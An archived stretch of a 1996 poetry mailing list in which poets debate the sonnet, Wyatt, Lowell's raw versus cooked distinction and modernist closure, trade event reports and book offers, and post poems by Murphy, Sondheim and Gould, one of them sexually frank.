Perhaps the problem is not with the sonnet but with the uses/arguments to which it has sometimes been put. For example, I once was invited in as a guest to a class at the U of Wisconsin where I introduced certain contemporary poets, ranging from Creeley to Mac Low. After the class, its grad student teacher, who was a bright Indian woman who had grown up in Hong Kong, wanted to argue with me that the sonnet was more accessible to to students in the class than what I had been teaching, in part biologically, i.e. its movement and rhythms were more natural to them. I do think that part of what she had in mind was what she conceived of as its orderliness, and a correspondence of that orderliness to her sense of nature and the world in a variety of ways. And yes, I thought that was rather nonsensical. But to agree with Henry & Daniel, at the time I had recently come through rather intense readings of sonnets by 16th Century writers, particularly Wyatt and Gascoigne, and I thought of neither of them as particularly affirming social orderliness, rather always conscious of a tension between order and disorder. And the form of the work was such as to not give entirely over to order, either. Such tension to me made all the difference in my seeing Wyatt, for one, as a somewhat more raw and considerably more interesting poet than Sidney.

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671. **Chris Stroffolino**
Re: raw and cooked
Thu 28 Mar 1996

But, Jordan, isn't IRONY--whether New Critical ("conservative"?) or Ashberian/Lang.Po more "cooked" than "raw"?
Sometimes I eat cooked, sometimes I eat raw.
....
is one person's refinery another person's CRUDE?.....c

↑ Index

672. **Tony Green**
Re: emnlightenmnet?
Thu 28 Mar 1996

re: comments on The Enlightenment from Charles Alexander in Re: AWP Chronicle, discussions of form:

"Everything I have heard about the New Formalist movement makes me want to be far away from it, although I wonder about what you report as Turner's sense that New Formalism thinks the Enlightenment was right and we got it wrong after that".

Enlightenment values of order and reason and rules came in at the expense of the values in thought and writing that in English run from (at least) Chaucer through to Herbert or Marvell (say) -- that includes elimination of a mode which allowed artifice and process to remain audible in the language (e.g. in puns and all kinds of figures which call for multi-levelled allegorical reading). Much as many Enlightenment texts are delightful reading, what was cast in shadow is often closer to quertzblatzian needs (Quertzblatz -- sounds like the School of Blasted Oak poetry, or the School of Hard Knocks).

The problems for "revival" of knowledge of the whatever (generic names, a problem, always and ever,) before The Enlightenment (The Baroque?) is largely dependent on readings and ways of writing largely proscribed from the Enlightenment onwards and still prevalent as norms and standards in our academies.

SAMPLE QUESTIONS OFF THE TOP OF MY HEADACHE 1. What still tends to keep Giam-Battista Marino out of the canon? Crocean aesthetics? Failure to find the positions for reading that the poetry supposes? Proscription of wiritng and reading positions suitable for reading the poetry? 2. How explain the coincidence of the revival of Baroque studies with the rise of the most useful modernisms (those intent on denial of given orders and /or of continual demonstration of hidden powers of language and image, and/or disclosure of the hidden anthropologies at work in the construction and reading of artworks?) 3. How explain opposition to modernisms (see 2, above) other than as a continuing obstinate refusal to acknowledge the defectiveness of a one-eyed position, which is still popularly supposed (take a vote on it nation-wide) to be effective and true.

Yours truly,

Chicken Little.

Tony Green,
e-mail: [redacted]

↑ Index

673. Emily Lloyd
raw stein & cooked sonnets to go
Thu 28 Mar 1996

Okay, I'm taking back what I said about Stein seeming ambivalent about her Jewishness&womanhood after a dream last night where she told me I didn't

know what the hell I was talking about, then bonded with my nonliterate house-mates while snubbing me...and this after I yanked Hemingway's beard a few weeks ago when he badmouthed her...(whatever happened to those nice dreams about cigars and train tunnels?)

sonnet conversation reminds me of that wcwilliams statement: "all sonnets say the same thing"--referring to the turn, the way all sonnets land on their feet (even if they have to invent feet at the last minute to do so). so we're talking form, not content---or rather, the content of the form. In which case I kind of agree with the "ordered world" assertion, insofar as the form & turn are strictly adhered to (they usually aren't today). I've been diddling around with writing "experimental" sonnets for a while now. If anything revolutionary occurs, I'll post it. medium rare, e

~~~~~~

Emily Lloyd [redacted]

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674. **David Baratier**

Re[2]: emnlightenmnet?

Thu 28 Mar 1996

Here's my poll

1. The lack of humanist literary critics and avenues for publishing this form of criticism. What I mean is criticism that is not a pure distillation of negative polarization, or merely a lens. Take "decontructivism" as a lens, we know what results this procedure will enforce upon a text but will it make anyone read the damn thing. If I were to point to a humanist example that fits what I would hope to strive for, as odd as it might sound, I'd say "My Emily Dickinson" by Howe. I feel her passion for some poems that I never read as thoroughly before. I still want to believe that only emotion endures.

2. Couldn't understand question.

3. Very few people read poetry take for example the voter turnout this election year.

The container for the thing contained

-Jack Gilbert

[redacted]

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~~~~~~

675. **Tony Green**
Re: AWP Chronicle, discussions of form
Thu 28 Mar 1996

---

or Lyn Hejinian 14 PAGE sonnets, complete with rhymes...these not remembered in either of the discussions I have seen of sonnets on this list in the periodical GNOME BAKER (can't remember which number)

Tony Green,
e-mail: [redacted]

↑ Index

676. **Maria Damon**
Re: AWP Chronicle, discussions of form
Thu 28 Mar 1996

---

wyatt is truly amazing, from a weird psychosexual angle, and fun to teach for that reason.--
maria d

↑ Index

677. **Maria Damon**
Re: raw and cooked
Thu 28 Mar 1996

---

what's quertblatz? sounds like a cross between a german leaf and a New World rock.
md

↑ Index

678. **Ron Silliman**
Re: AWP Chronicle, discussions of form
Thu 28 Mar 1996

Jerry wrote: Regarding "unfinished poetry," why do I remember from some years back a distinction being made, using Levi-Strauss's terms, between raw & cooked poetry? Was it me? was it someone else? was it just a dream? Clearly we were on the side of raw poetry -- on the side, that is, of the gods -- or were we? ----------

That was, I believe, Robert Lowell who first made that characterization and may even have preceded L-S in the distinction used as a cultural descriptor.

On the general question of finish and closure (riffing off of Gould et al), I actually think (tho I suspect my logic is rather different than Sadoff's) that closure is indeed the Big question lurking w/in modernism...

IF (big if, please increase your screen font accordingly) we take modernism to mean not the whole of innovative poetics of this century, pre-holocaust,

But rather only that portion of it (High Modernism as Fred Jameson wld have it) which got rather quickly canonized and digested for the students of the 1950s (a world of Pound that situated him within the frame of Stevens and Eliot, rather than, say Stein, WCW or even LZ).

My sense has long been (I've said this before) that when writers in the 19th century finally got to the point of arriving at a genuinely tropic realism, the "real" world suddenly turned out to be wholly constructed --i.e., the genuine intellectual/artistic project that was realism (a collective undertaking on the scale of getting one to the moon) suddenly turned out to be a phantom -- thus the career of Joyce's Dubliners leads directly to Ulysses & the Wake, for example (as, say, Dickens, Norris and James lead straight to Pound). The world in the first few decades of this century pretty much divided into those who were actively either trying to find new ways to create that sense of closure again (Joyce and Eliot being the most persistent), tho it also meant exploring the ways in which, always, itv seemed not to work (Crane seems to genuinely pained by this, a real sense of mourning) -- and those who just took it as obvious and went on writing (Stein, say), not bothering to focus the energy of the work in that way.

That modernism which got codified was that which aimed at (or faked) closure. Even Whitman was treated like a 19th century media joke first and poet later up until around 1950 (when that slot in the public consciousness seems to have been taken by Stein who still is treated by large sectors of the reading world as a collector of paintings who popularized hash brownies). So much of the mediocre litcrit of the past 40 years still treats the modernism of closure as THE main current of poetry, say (viz. M. Davidson's comments in the Princeton Encyclopedia of Poetry & Poetics), when in fact it is a radical and retro rereading of the work of the period (Cary Nelson's work has done a great job of unearthing the look and feel of that period sans the narrative frames that we have been taught by the likes of Davie, Bloom, Brooks, Jarrell et alia).

The curious career of John Ashbery -- his idolization by the very community he so viciously satirizes during his "middle" period -- has I think a lot to do with the ways in which he mimes a finished surface, although the way I read him what he really shows -- brilliantly and repeatedly, is that finish is ultimately a surface effect.

I too prefer rough edges.

Ron Silliman

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679. **Gwyn McVay**
Re: raw and cooked
Thu 28 Mar 1996

Maria, "querzblatz" is a word I made up to describe the kind of poetics that a broad spectrum of us on this list enjoy and/or write, and that we mostly agree terms like "avant-garde," "language," or even just "new" don't adequately describe. Plus it would get you a hell of a score in Scrabble.

Gwyn

↑ Index

680. **Alan Sondheim**
alphabetic avatars
Thu 28 Mar 1996

The Avatars

All avatars act as ascii aligned
Before broken banners bitter, barren, bound, blind.
Cold characters caught, crawled, cold, cracked, calcified;
Drawn dependents, dragged down, devolved, drowned, died.
Early earth emerged, escaped, erased
Full fury fallen, failed, fought for fear, felled, faced
Gore, grief, gravel grown gaunt, grown gruesomely grey.
Harrowed hell hastened homeward, hoarsely hollered hooray.
Ice interned I, immediate, involuted, in
Jostled jingles, jealous, jammed joined judging jinn,
Kissed knave, killed kine, kindled, kissed kindly knight
Like lost loves left leering, like loose lasses' light.
Many might mean much, measured manifolds mean more:
Nothing numerous, nought, never neither none, nor
One. Ontogenetically, organs, ooze, often obscure
Prepared proud phalluses, pricked, placed, proffered pure -
Quite quickly questioned, quizzed, quote "quagmired,"
Representing "right reason," resonant. Retired
Systems sizzle, suppurating, say, structured slime
Toppling to thoughts teetering towards tendered time.
Unfortunately, unclassified under ultimate unction,
Violence, vexed victims, vent violent version.
We watched while wounds wrought weakened warriors

X-ing x-chromosomes, x-rated xenophobias.
Young yesterdays yawned yore. Yes, you
Zap zealously, zygotic zone's zoo.

Netsex with the Avatars

Avatars beg; cyberspace details
Electronic fury, grim hails
In judgement kind. Leverage
Must never openly presage -
Quashed really, she thinks.
Underneath, vaginal winks,
X! You zealously yearn,
X! - What viewpoints unborn
To systemize? Rare, questioned,
Prospects or newcomers motioned
Lustfully, killed jinxed intuition
Heavily gone for emanation.
Depositions considered, birth arrowed
Beneficient cunts, devoured
Early fates; gestation harrowed
Intention's jammed killers, lest
Men need objection. Pest
Quickly runs, she thought.
Untoward, verify what, X?
You're zapped, you're X?
What, vicious uncanny troll
Seems rancid? Quote "Patrol
Often neatly muscles, licks,
Kisses juicily; immured hicks
Groan fiercely, eagerly. Dicks
Cum, beautifully, affixed!"

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681. Sheila E. Murphy
Re: Announcing/Call for Submissions EPR
Fri 29 Mar 1996

Here is the paste-up version of Sheila Murphy's submission.

Prose pieces affected by formatting are Letters 39, 40, and Previously Named...

Thanks. I look forward to hearing.

SEM

LETTERS TO UNFINISHED J.

39.

He introduced me to the possibility of circumspection by first speaking the word, using an
adjective about someone with figures in his left breast pocket we presumed. Fingers in pie
(blackbirds) and a humid wash of possible stilletos somewhere in the evenstance. My
mentor was a mood to me, a priest. Evented in the solid wall of no specific interruptions
as a yeast implants the further possibility of our statistics' rising. I can only flow with what
he saw of me, quicksilver light and certitude, small-packaged in a manner never distant
from completed somethings crafted by hand indicative of no such pause as summer's
moderato. It had not before occurred to me to hide fruits that I told myself would spoil if
not consumed. Imagining soiled pocket where a tiny stain implanted shadow evidence of
something now evolved to worthlessness of past tense. I did not perceive the mathematics
of withholding. Felt intuitively thus crafted a small picture of transactions: make to offer,
listen/watch the glee even of predators become your own advertisement/evaluation/full-
time sun. Evaporate no pool capable of mirroring your glory as machine, as evidence all
present of the gleam within a snapshot, silent as a tease instilling all the opposites of stasis.
With a strong crease where a craft has been, diminishing to yield first picture that might
have, on the surface, cloned original intent, if correspondence equalled trust, if time did
not invite manipulations to complete the full equation.

LETTERS TO UNFINISHED J.

40.

He spoke without coffee (line at Einstein's Bagel's, out the door already in first week post-
opening) about systems. In crisp tie, reminisced traditional intaglio, the lack of menacing
equality, exacting value-neutral neural nines, rotomontade of cherishing (sit by the
window, hatch the round voice wiggling to get into Hollywood and heather field
narrations, posse screams). He half elbowed his way out of the frost. We were
unmutually not enemies, no cost was exacted, every ritual you name was represented in
note taking moderato with a chaperone who sent a wire from God reminding us of our
fetality long since expired. It was production season. All the lateral impassives gonged
together noose points to retract the weariness of sin and its remaining ointment. Cobbled
sweets were limned along formica. We rowed to match old inclinations. Rivers stowed
their stasis. Homogeneous intentions ricocheted off pyramids. Someone was hovering
above the hasp connecting everglades and promising intentions. Power clothes hung on to
voice prints while the pen riled every surface of legality. No glowering came from
whipstitch centers to the right and left. We fathomed ourselves apolitical, and he could
dream, sit up, take nourishment by his own hand. I was an economy. The ribboned birds
sanguined their way to positive alignment with each homonym glassed in by elders who
entreated the onlooking shutter scars to make new pictures become whole and ravishing.

IN THE SHINING STICKS

Prayer comps nature surreptitiously.
Calm waters, stilton ease
To have anticipated causal weather
Always the trapeze of birth's new slumber party
In the shining sticks the opposite of Heathrow.
Paltry fillings ghost write showcased palms
As lightly as extinct shepherds on board
Waiting to dismiss the trappings of life's work

Among the crop of central nervous systems
Showing little EKG one would suppose
And branded underneath uncombed
Abundance that gleans warmth
From even chill wind blistering,
The tourists from another century acceding
To the bounty that outlives its maker
Stranded on a page in history
Consistently interpreted off-center
For the good of new philosophy.

SCULPTURE FULLY DRESSED

Pauses leaf through valuables lodged within
Clock focus to exude
Blunt stoppage of work-the-
Optical incisions to alleviate a pressure

Bookmarked near supple seeds we have
Accumulated heartily and irresponsibly our
Behavior lighthousing its way
Shoestringing along the budgetary dipstick

Surrounding formative instilleries as
Structured as a patch of acreage
Composed of wire and single crop endorsements
Ceasing to elect someone with

Pasts writeworthy in the journals that supplant the
Creed with empty rosters
Coasting along personal breath forming a
Sculpture fully dressed compositing full-figured showtime

Nothing (noting)

Everything's as easy

As the quilt

(Supplantive of) an offering

Midwinter you beneathive

Crow-toned habitat exclusive of

The each thing silvered, row-prone,

Confiscatable as friendship never is

(Leave no misimpression)

Sacraments wide-eyed snow blow

Incessant fever to the side of

Sandwiching and we are lost (at cost)

Soprano coldsmiths with a romp in mind

Still satisfied with what

We might cook up, some gilded

Penchant for nothing

Some aware awakeness

Perfectly unmiffed sacrament of butterfly

SUNGLASSES THAT WRAP AROUND

Sunglasses that wrap around leave no room
For inhabitals whose chemistry
Elongates the already lengthened pasture
The equation of impasse, smokepoint

Of river glide's deliberate
Retraction of nerve sin
Lentily defrosted near clothespin
Hummingbirds the crayon of rubato blue

Tumult's vituperative wingspin
Dismantles the somehow of offspring's
New porous mood unfeathering
Some gloss along the corner of mood ring

With shiver in its past, a father
Dramatized by the inchoate
Inner cold rendered apparent
Only through tiny splinterings of intimacy

THE PARENTHETICAL REDUNDANCY OF SECONDARY LOVE

He says in public "What a quiz
Show host I am" and poses
With a prize, kissing the winners
First place and last clutching

Their homonyms as they return
To seats they were assigned.
He takes long sips of personality
To hone immunity, walks out

Into the friendly night to slave
Over a swizzle stick, imbue
The parenthetical redundancy
Of secondary love, replace

The quiet core of nothing
That intakes his whole attention
To distract from harshness of the daylight,
And improbability of warmth within the night.

PREVIOUSLY NAMED "COLLEGE OF COMMERCE"

The only way that he can like me is for me to purchase something that will earn him a
commission. All of his rehearsing leads to sinking something in the designated pocket or
between goalposts. What flair is for is the advancing, not a fluency that coasts within
arrays of intimate exchange. He plays out loud with possibilities of talking me into or out
of something. The guestbook in his heart fills when the dancecard overflows. He is
indulgent for a purpose so I walk away unfriended, perfectly unwilling to assume
imperfect risk not worth flimsy return of acquisition not my own. He sees me as a place to
prey without a grotto stone to roll away. The only likely resurrection would exact a cost.
A trade of what is wrought from pensive moods under the tutelage of guardians who
never learned to schmooze.

IMPERVION OF UNDRESSED BRANCHES

You would not want to photograph
Impervion of undressed branches
Stick dark splintered pencils
Cropped with liquid frost and dried again
The miniature windows of the warlords
Feather caps osmotically
Tree branches wasp their way into
Depictions of the ether
Correspondence supple as the ice
Per diem landed in a metric park
From home off-centered perched

Where cameras cannot cull
Delicious wingspan and interpretations
Full bath of the orneries
With taste wide plums breath looking
Clouded outer skin unprim
Suited for crime winter shivering
Against a coat woven apart from snow and southerlies

↑ Index

682. **Chris Stroffolino**
Re: AWP Chronicle, discussions of form
Fri 29 Mar 1996

Ron--Thanks for your interesting post on "modernist" "closure"---. I was reading a very "academic" (more in the sense of "stiff" than in "difficult") book recently---MURRAY KREIGER'S "The Reopening Of Closure: Organicism Against ITself" and it starts by saying that it IS NOT AN ATTEMPT to make the New Critics hip again by pointing out how they really weren't such CLOSURE OGRES after all...and quotes a lot of their statements and explicates poems to show that to read them reductively as "poems that click shut like a box" is to miss the complex point.... Yet the argument is somewhat disingenuous. For he doesn't talk about Stein or even Riding and focuses on poems like THE EQUILIBRISTS (sic) to drive his point home----which goes to show how rhetoric (Kreiger is very steeped in De Man and Lyotard, etc), especially a rhetoric of rawness, can be used to foster a particular canonical agenda. This of course can work both ways, however. SuanAnne Tanguy (sp.?) mentioned that Jeffers can hold up to a "deconstructive" reading. So can many. By the same token, it would be interesting, and possible (though not necessarily needed---though it could I suppose make a good marketable dissertation) to read Stein and others using the more "old fashioned" terms, etc..... cs

↑ Index

683. **Ron Silliman**
NYC Talks
Fri 29 Mar 1996

Today is the first day of the awesome NYC talks sequence, 5 panels and one reading today, four more panels and two more readings tomorrow, followed by a marathon at Biblio's on Sunday.

For those of us who will not be there (I have to go to Florida on business):

(1) I hope somebody plans to collect all this material into a book.

(2) I hope the correspondents on this list who attend will fill us all in -- in minute detail: Rod Smith, Ben Friedlander, Bill Luoma, Chris Stroffolino, Mark Wallace, Joel Kuszai, and Jordan Davis are among those whom will be presenting and reading.

Looking forward to those nice long posts already,

Ron

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684. **chris daniels**
(no subject)
Fri 29 Mar 1996

---

i've got this sequence-in-progress i'd like to post, several pages worth --- mostly short-line stuff --- wld that be too long for the list? please advise --- wld appreciate help, comments, crit

later

---
christopher daniels <[redacted]> 3.29.96 4:45:06 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wuorinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

685. **Michael Boughn**
Wyatt nd the sonnet
Fri 29 Mar 1996

> *wyatt is truly amazing, from a weird psychosexual angle, and fun to teach for that reason.--*
> *maria d*

But also for the sheer gristly, sinewy chewiness of the language and the astonishing rhythmic variety. Spenser and Sidney run it thru the neoplatonic mill so that it comes out all heady and mellifluous. It takes Donne to bring it back to ground. And what about Milton? Wow.

Mike

↑ Index

686. **Henry Gould**
Re: raw stein & cooked sonnets to go
Fri 29 Mar 1996

On Thu, 28 Mar 1996 16:50:45 -0500 Emily Lloyd said:
>sonnet conversation reminds me of that wcwilliams statement: "all sonnets
>say the same thing"--referring to the turn, the way all sonnets land on
>their feet (even if they have to invent feet at the last minute to do so).

If that's the case, then all poems says the same thing. Check out the Princeton Encyc of Poetics on "Sonnet" - there are about 20 different _traditional_ variations, at least. All poems have to land on some kind of footpad. But I would agree that the sonnet and "the little sonnet men" (EA Robinson) have become a symbol of a danger inherent in all form - it exerts its own fascination, can give a false sense of closure & achievement, snaps shut in a facile way. And the weight of tradition is designed to smother (in a fatherly manner). - Henry Gould

↑ Index

687. **Charles Alexander**
Re: AWP Chronicle, discussions of form
Fri 29 Mar 1996

> *wyatt is truly amazing, from a weird psychosexual angle, and fun to teach for that reason.--*
> *maria d*

or, I'd say, psychosexual/religio angle, filled with mythology which sometimes may be seen to be turned on its head, or hind

Whoso list to hunt, I know where is an hind . . .

↑ Index

688. **Charles Alexander**
(no subject)
Fri 29 Mar 1996

> *i've got this sequence-in-progress i'd like to post, several pages worth --- mostly short-line stuff --- wld that be too long for the list? please advise --- wld appreciate help, comments, crit*
>
> *later*

> ---
> *christopher daniels <[redacted]> 3.29.96 4:45:06 am*

I can't speak for the list protocols, or for anyone else on the list, but I'd certainly like to see the work. If it is a sequence and you're worried about it being too long, why don't you post it in three or four postings, one a day. But if you want to post it all at once, that seems fine, too.

charles

↑ Index

689. **Henry Gould**
Re: AWP Chronicle, discussions of form
Fri 29 Mar 1996

On Thu, 28 Mar 1996 19:14:08 -0800 Ron Silliman said:
>My sense has long been (I've said this before) that when writers in the
>19th century finally got to the point of arriving at a genuinely tropic
>realism, the "real" world suddenly turned out to be wholly constructed
>--i.e., the genuine intellectual/artistic project that was realism (a
>collective undertaking on the scale of getting one to the moon)
>suddenly turned out to be a phantom -- thus the career of Joyce's
>Dubliners leads directly to Ulysses & the Wake, for example (as, say,
>Dickens, Norris and James lead straight to Pound). The world in the
>first few decades of this century pretty much divided into those who
>were actively either trying to find new ways to create that sense of
>closure again (Joyce and Eliot being the most persistent), tho it also
>meant exploring the ways in which, always, itv seemed not to work

Are you saying writers then divided between a kind of Platonic/
transcendental realists (Eliot et al, for whom the material world
is a kind of structured illusion with a transcendental reality
behind it), and a kind of Nietzschean post-realists (Stein et al,
for whom reality is a continuous radically free construction)?
>
>That modernism which got codified was that which aimed at (or faked)
>closure.
>
Thus closure and "finish" are equated with a belief in transcendental
order?

> *The curious career of John Ashbery -- his idolization by the very community he so viciously satirizes during his "middle" period -- has I think a lot to do with the ways in which he mimes a finished surface,*

> *although the way I read him what he really shows -- brilliantly and repeatedly, is that finish is ultimately a surface effect.*

Thus Ashbery "succeeded" because he played it both ways -- closure & finish without _philosophical_ closure or belief. It seems like ancient/medieval/Renaissance poetry also played it both ways -- the finish was presented as a conscious trap, the husk -- it was the kernel, the interpretation, the answer to the riddle that was the ultimate "closure". The rough edges are on the _inside_. This was linked with the theological idea that Nature is a riddle of signs to be interpreted; writing is the sign of signs.

- Henry Gould

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690. **Maria Damon**
Re: AWP Chronicle, discussions of form
Fri 29 Mar 1996

---

i think lowell had just read levi strauss when he made that statement about his own poetry in relation to beats, confession, etc.--he didn't coin the phrase...md

↑ Index

691. **Michael Boughn**
Re: raw stein & cooked sonnets to go
Fri 29 Mar 1996

> *sonnet conversation reminds me of that wcwilliams statement: "all sonnets say the same thing"--referring to the turn, the way all sonnets land on their feet (even if they have to invent feet at the last minute to do so).*

As much as I love Williams on this stuff (as great as his ear is) I have to agree with Henry on this. Bill had his axes and he ground them with a vengence. But don't we all.

Watch for upcoming volume of John Clarke's sonnets, _In the Analogy, Books 1-7_ from shuffaloff in the next couple of months--a sequence of 250 sonnets which only death managed to stop.

Mike

↑ Index

692. **Henry Gould**
Re: raw stein & cooked sonnets to go
Fri 29 Mar 1996

On Fri, 29 Mar 1996 09:09:44 -0500 Michael Boughn said:

> *Watch for upcoming volume of John Clarke's sonnets, _In the Analogy, Books 1-7_ from shuffaloff in the next couple of months--a sequence of 250 sonnets which only death managed to stop.*

But Willis Barnstone's got him beat - just published "501 Sonnets". But Edwin Honig was talking last night about a book titled "M" - standing for "1000 Sonnets". Wish I could remember the author... Little sonnet men make BIG sequences. But my question is - where's the Colonel's husky in all this? Here's a short poem, the kernel of which is: "Either way, you're finished."

OLD-TIMEY ELEGY

Lord, we will write and write.
Your August ripens.
A radio keeps the beat.

The writing is what happens,
while merged with the wheat
a single strand of hair stays hidden.

- Henry ["Finish my Day"] Gould

↑ Index

693. Emily Lloyd
Re: raw stein & cooked sonnets to go
Fri 29 Mar 1996

At 08:16 AM 3/29/96 EST, Henry Gould wrote:
>On Thu, 28 Mar 1996 16:50:45 -0500 Emily Lloyd said:
>>sonnet conversation reminds me of that wcwilliams statement: "all sonnets
>>say the same thing"--referring to the turn, the way all sonnets land on
>>their feet (even if they have to invent feet at the last minute to do so).
>
>If that's the case, then all poems says the same thing. Check out the
>Princeton Encyc of Poetics on "Sonnet" - there are about 20 different
>_traditional_ variations, at least. All poems have to land on some
>kind of footpad.

Eek! The Princeton! That book's good for buildin' yer biceps, maybe...but I'm not sure you're understanding what I'm (only because Williams isn't here to) saying...I LIKE sonnets, not trying to insult them...but...see...they've got that rising action/climax/falling action thing going on...of course there are variations...I'm talking about the strict sonnet forms, i.e. Petrarch, Shakespe, and that other guy...where a turn is necessary, and where the turn is supposed to occur at a certain predetermined place. Which means you can pick up any traditional sonnet & know there's gonna be a twist...Keats is going to find

Chapman's Homer, Nature is going to prick out the friend for women's pleasure...etc. This doesn't mean they have to be banal (although I've referred to them in the past as "aggressively tidy")...the pleasure, for me, in reading traditional sonnets is watching how skillfully the turn is executed...kind of like anticipating the zinger in a hitchcock film. I should say, tho, that I don't think that "traditional" forms necessarily mean "patriarchal poetry" or conservativism...while nobody here may particularly enjoy their work, Rafael Campo, Marilyn Hacker, & Molly Peacock (among others) have used traditional forms (& I mean "strictly," not berrymanning around) as containers for subversive (it's all relative in Ploughshares et al) content.

~~~~~~

Emily Lloyd [redacted]

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694. **Joe Amato**

Re: AWP Chronicle, discussions of form

Fri 29 Mar 1996

---

according to jed rasula (in _the american poetry wax museum_, 233-234) lowell was borrowing from virginia woolf when he distinguished between "a cooked and a raw" poetry in his acceptance speech for the national book award... rasula indicates that woolf had used these terms to distinguish her own "cooked" work from joyce's presumably "raw" _ulysses_...

lowell one the nba in 1960, so his acceptance speech would have been in '61... it wouldn't surprise me if others had picked up on woolf's distinctions before then...

and not to sound, uhm, ambiguous, but i just love it when a given work oscillates from the raw to the cooked...

joe

↑ Index

695. **Joe Amato**

Re: AWP Chronicle, discussions of form

Fri 29 Mar 1996

'one the nba'

yeah----raw...

but anyway, it's a curious pun//

joe
~~~~~~

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696. **Jordan Davis**

poetry sightings at poetry city Mar. 28

Fri 29 Mar 1996

Because it was a sort of last exhibition game before the poetry season begins (today at 3 p.m., Poetry vs. Talks at NYU, Silverstein Lounge & Jurow Lecture Hall, 101 Main Bldg, NE corner of Wash Sq Park--starting pitchers: Rob Fitterman (0-0), Stacy Doris (0-0)--don't you love statistics at the start of the year) the reading at Poetry City last night would be described.

Poets Rod Smith and Loss Glazier arrived just when they said they would, at 6:15. A workshop with June Jordan's "Poetry for the People" students and students of Mark Statman's "Teachers & Writers" class at the New School wound up just as Rod set his bag down.

People milled in starting with graciously on-time arrivals Julie Patton, Lisa Jarnot, Lee Ann Brown, Chris Funkhouser, Tim Davis, Jen Levine, and Stephen Rodefer. Arriving soon after were Charles Bernstein, Kenny Goldsmith, and a stunned Bruce Andrews, who said, "It's true, it is a nice space." Pretzels, popcorn, crackers, brie, seltzer, cola, and quite a bit of red wine were served. The bottle of white wine on ice has lasted three weeks without being uncorked. Rod stepped out to have a smoke, and a few minutes after he came back, we got started. As I told Rob Fitterman, "I think we're going to get ready now."

I'll make again the offer I made last night: ten Ron Silliman books for $75.. (_What_, _Tjanting_, _Jones_, _Lit_, _Toner_, _Manifest_, _Paradise_, _The New Sentence_, _N/O_, and _Demo to Ink_... act quickly!)

Loss Glazier, star of the _EPC_, read first to an audience of about 25. Loss read from his Meow book, _The Parts_, and segued into a sequence about Windows 95. He had an extremely affable and gentle style, translating the idioms of "the other platform" and playing on ambiguities of pronunciation and meaning in "the more arcane computer journals." Loss's poems cracked me up.

We had a brief intermission.

Anna Malmude introduced Rod Smith, calling everyone's attention to the publications on the table in the back of the room. At this point, I'd like to make another offer to poetics readers: Maria Damon's _The Dark End of the Street_ (UMP, 1994) for $15 ppd, and Walter Lew's anthology _Premonitions: the Kaya Anthology of New Asian North American Poetry_ for $20 ppd.. OR both books for $30 ppd..

Rod Smith, whose new book _In Memory of My Theories_ is a "must", opened with an intense reading of "Postmodern Long Poem". Rod's commitment to

straddling. Whoops. Rod's commitment to operating on the boundaries (and deep in the territories) of sense and nonsense really paid off for us, the stunned listeners, in a platonic dialogue among among others John Cage, Ted Berrigan, Derrida, Morton Feldman, Kathy Acker, Mark Wallace. Rod rocked.

Then we stood around and talked. Bill Luoma and Brian Stefans were there, Tim Davis was wearing an amazing purple coat, Anna and Jen Levine went to Anna's dad's house, Kim Rosenfield and Rob Fitterman smiled, said good night, Douglass Rothschild went down the street to visit his brother who is leaving shortly for Amsterdam, Lisa had to go, Carol Conroy was cleaning up and I was and Stephen Rodefer helped. I tried to tell him not to, and who was I to tell him not to, we just met, everybody headed off to the Cedar, I caught up a little later, they were eating salads. Bill, his friend Brian, and Chris Funkhouser were down at one end of the table. Talked for a while to Chris about Woods Hole, _The Telephone Book_ and _Crack Wars_, and then about the poetry and technology panel we'll both be on tomorrow, last panel of the whole deal. Bill and Brian took off, I swung around the table, at the other end were Lee Ann, Rod, Loss, and Charles. Stephen came around the side and sat next to Chris. We talked for a while about the list. Was David Ayre real. Yes David Ayre is real.

See you all at the talks,
Jordan

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697. Sheila E. Murphy
apologies to the list
Fri 29 Mar 1996

My apologies to the list for an error in forwarding something that I thought I'd sent backchannel, but apparently the lateness of the hour triggered an unwanted reflex.

Sorry!

Sheila Murphy

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698. Pierre Joris
Re: Barry MacSweeney
Fri 29 Mar 1996

Let me add my three hurrays to the resurfacing of Barry Mac Sweeney -- who was one of the first young English poets (with Allen Fisher & Dick Miller) who Eric Mottram introduced me to when I moved to London in 1972. His work certainly showed what a serious political yet lyrical voice could achieve. BLACK

TORCH (published in 78 by Allen Fisher's _Spanner Editions- -- & maybe still in print? (Ric/Ken, any of you know?)) is a superb engagement with the Tyneside coalminer strikes. Also, his essay on Chatterton (_Elegy for January_) did, for me, in relation to Chatterton what Howe's book did years later in relation to Dickinson. Great to have him back! -- Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

↑ Index

699. **Aldon L. Nielsen**

Re: Contra Simic (back from Detroit)

Fri 29 Mar 1996

Actually, they DO put critics in jail, often -- we could start a list with Gramsci and C.L.R. James, both of whom compounded their offenses by writing more criticism IN jail --

and on another note -- while I suppose I may not be the best test case, one example of deconstructive readings causing somebody actually to read the poetry (as if that were the true test of criticism??? don't most critics assume at least a nodding acquaintance with the text they are writing about?), was my coming to Ponge (who I had not previously heard about) through Derrida's book -- that's a fact, jacques

I know of many critics who are not poets, but I've never met a poet who didn't at one time or another write criticism,,, Remember Charles's great title this year, something like THE REVENGE OF THE POET/CRITIC

(or was it "return"?)

↑ Index

700. **william elliott vidaver**

Question regarding "Spicer in Context" Conference 1986 &

Fri 29 Mar 1996

Does anyone on this list know if the papers delivered at the "Spicer in Context" Conference of 1986 have been assembled into a publication?

On a related topic, does anyone here know of any visual artists who have attempted to translate aspects of Spicer's poetics over into the production of what might be called picture-books? (One of the aspects I have in mind is serial and narrative structure, the _book_ becoming the unit of composition, instead of the individual poem, painting, or collage

Aaron Vidaver c/o
[redacted]

↑ Index

701. **Eryque Gleason**
Re: NYC Talks
Fri 29 Mar 1996

---

i second ron's request for a detailed report, i have to stay in albany this weekend on finances.

was about to say "happy talking!" but somehow i get the feeling that most of the folk around here don't need much encouragement....;-)

eryque

↑ Index

702. **Michelle Roberts**
Re: AWP Chronicle, discussions of form
Fri 29 Mar 1996

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

